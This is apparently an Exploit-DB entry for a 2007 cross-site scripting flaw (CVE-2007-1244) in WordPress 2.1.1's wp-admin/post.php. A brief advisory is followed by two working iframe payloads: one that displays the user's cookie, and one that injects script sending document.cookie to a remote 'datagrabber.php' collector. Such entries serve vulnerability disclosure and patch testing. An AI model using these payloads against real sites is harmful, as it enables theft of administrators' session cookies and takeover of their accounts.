WordPress Core 2.1.1 - 'post.php' Cross-Site Scripting

    Author: Samenspender

    type: webapps

    platform: php

    port: 

    date_added: 2007-02-26

    date_updated: 2017-05-04

    verified: 1

    codes: CVE-2007-1244;OSVDB-33788

    tags: 

    aliases: 

    screenshot_url: 

    application_url: http://www.exploit-db.comwordpress-2.1.1.zip

    raw file: 29682.txt

source: https://www.securityfocus.com/bid/22735/info

Wordpress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Wordpress 2.1.1 is vulnerable to this issue; other versions may also be affected.

Cookie in an Alert Box: <iframe width=600 height=400 src='http://www.example.com/wp-admin/post.php?action=delete&post=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Clol= %27'></iframe> Cookie send to an Evil Host: <iframe width=600 height=400 src='http://www.example.com/wp-admin/post.php?action=delete&post=%27%3E%3Cscript%3Eimage=document.createElement(%27img%27);im age.src=%27http://www.example.com/datagrabber.php?cookie=%27%2bdocument.cookie;%3C/script%3E%3Clol=%27'></iframe>